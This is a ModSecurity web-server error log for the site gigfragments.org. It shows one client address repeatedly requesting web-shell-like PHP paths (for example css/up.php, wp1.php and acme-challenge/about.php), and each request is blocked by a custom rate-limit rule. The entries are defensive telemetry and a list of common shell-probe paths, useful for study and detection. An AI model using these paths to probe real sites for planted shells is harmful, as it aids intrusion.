[Sat Dec 20 20:45:52.283020 2025] [:error] [pid 39493:tid 39551] [client 4.197.92.49:50591] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sto.php"] [unique_id "aUaagGhjL2VG_FmIHqDsuAAAAII"]
[Sat Dec 20 20:45:53.116007 2025] [:error] [pid 33793:tid 33809] [client 4.197.92.49:37313] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aUaagVSicyB0BFmbRMzIRgAAAs4"]
[Sat Dec 20 20:45:53.842612 2025] [:error] [pid 33793:tid 33814] [client 4.197.92.49:43014] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aUaagVSicyB0BFmbRMzISAAAAtM"]
[Sat Dec 20 20:45:55.409973 2025] [:error] [pid 33844:tid 33857] [client 4.197.92.49:51788] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aUaagyaNtwGsyqqVmQHp9gAAAws"]
[Sat Dec 20 20:45:57.138657 2025] [:error] [pid 14247:tid 14270] [client 4.197.92.49:51313] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ffile.php"] [unique_id "aUaahSDv9TtKKdJQn9kJawAAARU"]
[Sat Dec 20 20:45:57.747591 2025] [:error] [pid 14286:tid 14300] [client 4.197.92.49:40176] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUaahZ7rbXIrw6rGSdZuygAAAUo"]
[Sat Dec 20 20:46:01.845509 2025] [:error] [pid 14247:tid 14270] [client 4.197.92.49:1602] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUaaiSDv9TtKKdJQn9kJbwAAARU"]
[Sat Dec 20 20:46:03.142105 2025] [:error] [pid 33793:tid 33805] [client 4.197.92.49:51302] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUaai1SicyB0BFmbRMzITgAAAso"]
[Sat Dec 20 20:46:04.055907 2025] [:error] [pid 14286:tid 14291] [client 4.197.92.49:36132] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/403.php"] [unique_id "aUaajJ7rbXIrw6rGSdZuzQAAAUE"]
[Sat Dec 20 20:46:05.998846 2025] [:error] [pid 14247:tid 14269] [client 4.197.92.49:36100] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aUaajSDv9TtKKdJQn9kJcgAAARQ"]
[Sat Dec 20 20:46:06.468665 2025] [:error] [pid 33687:tid 33696] [client 4.197.92.49:1611] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aUaajjYMR4qK1N4g7vjCYAAAAkY"]
[Sat Dec 20 20:46:15.756790 2025] [:error] [pid 14286:tid 14294] [client 4.197.92.49:39683] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aUaal57rbXIrw6rGSdZu1gAAAUQ"]
[Sat Dec 20 20:46:16.413699 2025] [:error] [pid 62124:tid 62148] [client 4.197.92.49:36134] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1.php"] [unique_id "aUaamFs94zPA9ULQOjlv7QAAABY"]
[Sat Dec 20 20:46:17.064332 2025] [:error] [pid 33749:tid 33762] [client 4.197.92.49:36141] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/up.php"] [unique_id "aUaamdoInXJnb96wei9HIgAAAos"]
[Sat Dec 20 20:46:18.054655 2025] [:error] [pid 39577:tid 39584] [client 4.197.92.49:48034] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/up.php"] [unique_id "aUaamrviRnt1rJiSOfxUhgAAAMU"]
[Sat Dec 20 20:46:18.544726 2025] [:error] [pid 33793:tid 33808] [client 4.197.92.49:36111] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/up.php"] [unique_id "aUaamlSicyB0BFmbRMzIWAAAAs0"]
[Sat Dec 20 20:46:19.303843 2025] [:error] [pid 33844:tid 33856] [client 4.197.92.49:36153] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/up.php"] [unique_id "aUaamyaNtwGsyqqVmQHqBgAAAwo"]
[Sat Dec 20 20:46:19.870207 2025] [:error] [pid 39577:tid 39591] [client 4.197.92.49:52298] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aUaam7viRnt1rJiSOfxUhwAAAMw"]
[Sat Dec 20 20:46:37.768651 2025] [:error] [pid 33749:tid 33764] [client 4.197.92.49:40148] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aUaardoInXJnb96wei9HPAAAAo0"]
[Sat Dec 20 20:46:39.498899 2025] [:error] [pid 18807:tid 18832] [client 4.197.92.49:50059] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aUaar2RP9n5OCTllYeUJjAAAAZc"]
[Sat Dec 20 20:46:40.937200 2025] [:error] [pid 14247:tid 14267] [client 4.197.92.49:38818] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aUaasCDv9TtKKdJQn9kJjAAAARI"]
[Sat Dec 20 20:46:41.854930 2025] [:error] [pid 33570:tid 33585] [client 4.197.92.49:48082] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mnkalo.php"] [unique_id "aUaasYTNveA-c6YcSrICmAAAAck"]
[Sat Dec 20 20:46:43.714691 2025] [:error] [pid 18807:tid 18831] [client 4.197.92.49:51376] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUaas2RP9n5OCTllYeUJkQAAAZY"]
[Sat Dec 20 20:46:46.488358 2025] [:error] [pid 18807:tid 18827] [client 4.197.92.49:48740] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUaatmRP9n5OCTllYeUJkwAAAZI"]
[Sat Dec 20 20:46:47.618256 2025] [:error] [pid 62124:tid 62132] [client 4.197.92.49:51117] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUaat1s94zPA9ULQOjlwAgAAAAY"]
[Sat Dec 20 20:46:49.111915 2025] [:error] [pid 33687:tid 33709] [client 4.197.92.49:48995] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/222.php"] [unique_id "aUaauTYMR4qK1N4g7vjCcQAAAlM"]
[Sat Dec 20 20:46:49.444120 2025] [:error] [pid 39577:tid 39594] [client 4.197.92.49:45728] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aUaaubviRnt1rJiSOfxUmwAAAM8"]
[Sat Dec 20 20:46:50.147200 2025] [:error] [pid 14286:tid 14308] [client 4.197.92.49:50087] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aUaaup7rbXIrw6rGSdZu6gAAAVI"]
[Sat Dec 20 20:46:52.414454 2025] [:error] [pid 39577:tid 39598] [client 4.197.92.49:37374] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aUaavLviRnt1rJiSOfxUnAAAANM"]
[Sat Dec 20 20:46:52.967070 2025] [:error] [pid 33687:tid 33700] [client 4.197.92.49:41136] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file3.php"] [unique_id "aUaavDYMR4qK1N4g7vjCcwAAAko"]
[Sat Dec 20 20:46:55.056114 2025] [:error] [pid 14286:tid 14297] [client 4.197.92.49:49477] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "aUaav57rbXIrw6rGSdZu7wAAAUc"]
[Sat Dec 20 20:46:57.410761 2025] [:error] [pid 14247:tid 14261] [client 4.197.92.49:51128] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "aUaawSDv9TtKKdJQn9kJlwAAAQw"]
[Sat Dec 20 20:46:58.456296 2025] [:error] [pid 14247:tid 14273] [client 4.197.92.49:51094] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "aUaawiDv9TtKKdJQn9kJmQAAARg"]
[Sat Dec 20 20:47:00.094902 2025] [:error] [pid 62124:tid 62144] [client 4.197.92.49:51907] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/031.php"] [unique_id "aUaaxFs94zPA9ULQOjlwCgAAABI"]
[Sat Dec 20 20:47:00.775423 2025] [:error] [pid 33844:tid 33868] [client 4.197.92.49:50645] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mws.php"] [unique_id "aUaaxCaNtwGsyqqVmQHqHgAAAxY"]
[Sat Dec 20 20:47:02.338836 2025] [:error] [pid 33844:tid 33852] [client 4.197.92.49:49521] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mws.php"] [unique_id "aUaaxiaNtwGsyqqVmQHqIQAAAwY"]
[Sat Dec 20 20:47:02.990894 2025] [:error] [pid 33793:tid 33816] [client 4.197.92.49:1163] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mws.php"] [unique_id "aUaaxlSicyB0BFmbRMzIawAAAtU"]
[Sat Dec 20 20:47:05.562877 2025] [:error] [pid 33687:tid 33690] [client 4.197.92.49:42006] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mws.php"] [unique_id "aUaayTYMR4qK1N4g7vjCegAAAkA"]
[Sat Dec 20 20:47:07.812006 2025] [:error] [pid 14247:tid 14266] [client 4.197.92.49:46720] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUaayyDv9TtKKdJQn9kJpwAAARE"]
[Sat Dec 20 20:47:09.354029 2025] [:error] [pid 33570:tid 33584] [client 4.197.92.49:36545] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUaazYTNveA-c6YcSrICoQAAAcg"]
[Sat Dec 20 20:47:10.579513 2025] [:error] [pid 33793:tid 33813] [client 4.197.92.49:46725] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUaazlSicyB0BFmbRMzIbgAAAtI"]
[Sat Dec 20 20:47:11.171722 2025] [:error] [pid 62124:tid 62134] [client 4.197.92.49:46777] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dlu.php"] [unique_id "aUaaz1s94zPA9ULQOjlwFwAAAAg"]
[Sat Dec 20 20:47:12.106091 2025] [:error] [pid 33749:tid 33751] [client 4.197.92.49:41989] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUaa0NoInXJnb96wei9HVgAAAoA"]
[Sat Dec 20 20:47:13.794435 2025] [:error] [pid 33844:tid 33846] [client 4.197.92.49:50117] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUaa0SaNtwGsyqqVmQHqKQAAAwA"]
[Sat Dec 20 20:47:15.412178 2025] [:error] [pid 33749:tid 33769] [client 4.197.92.49:38199] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUaa09oInXJnb96wei9HWAAAApI"]
[Sat Dec 20 20:47:17.789956 2025] [:error] [pid 33749:tid 33761] [client 4.197.92.49:42039] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/acme-challenge/about.php"] [unique_id "aUaa1doInXJnb96wei9HXQAAAoo"]
[Sat Dec 20 20:47:20.526808 2025] [:error] [pid 39493:tid 39566] [client 4.197.92.49:38154] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aUaa2GhjL2VG_FmIHqDs2wAAAJE"]
[Sat Dec 20 20:47:22.004360 2025] [:error] [pid 62124:tid 62136] [client 4.197.92.49:41095] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aUaa2ls94zPA9ULQOjlwGQAAAAo"]
[Sat Dec 20 20:47:23.766776 2025] [:error] [pid 39493:tid 39554] [client 4.197.92.49:1298] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aUaa22hjL2VG_FmIHqDs3QAAAIU"]
[Sat Dec 20 20:47:24.497547 2025] [:error] [pid 39577:tid 39590] [client 4.197.92.49:34769] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class19.php"] [unique_id "aUaa3LviRnt1rJiSOfxUqAAAAMs"]
[Sat Dec 20 20:47:25.601393 2025] [:error] [pid 33570:tid 33583] [client 4.197.92.49:41057] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the1me.php"] [unique_id "aUaa3YTNveA-c6YcSrICowAAAcc"]
[Sat Dec 20 20:47:27.168505 2025] [:error] [pid 33570:tid 33585] [client 4.197.92.49:35659] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the1me.php"] [unique_id "aUaa34TNveA-c6YcSrICpQAAAck"]
[Sat Dec 20 20:47:27.882721 2025] [:error] [pid 33570:tid 33580] [client 4.197.92.49:34807] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the1me.php"] [unique_id "aUaa34TNveA-c6YcSrICqQAAAcQ"]
[Sat Dec 20 20:47:29.481887 2025] [:error] [pid 33687:tid 33697] [client 4.197.92.49:34798] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-the1me.php"] [unique_id "aUaa4TYMR4qK1N4g7vjCgAAAAkc"]
[Sat Dec 20 20:47:30.956549 2025] [:error] [pid 39493:tid 39565] [client 4.197.92.49:34781] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aUaa4mhjL2VG_FmIHqDs3gAAAJA"]
[Sat Dec 20 20:47:31.688070 2025] [:error] [pid 33570:tid 33578] [client 4.197.92.49:39323] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aUaa44TNveA-c6YcSrICrAAAAcI"]
[Sat Dec 20 20:47:32.658988 2025] [:error] [pid 62124:tid 62142] [client 4.197.92.49:38083] [client 4.197.92.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lala.php"] [unique_id "aUaa5Fs94zPA9ULQOjlwGwAAABA"]
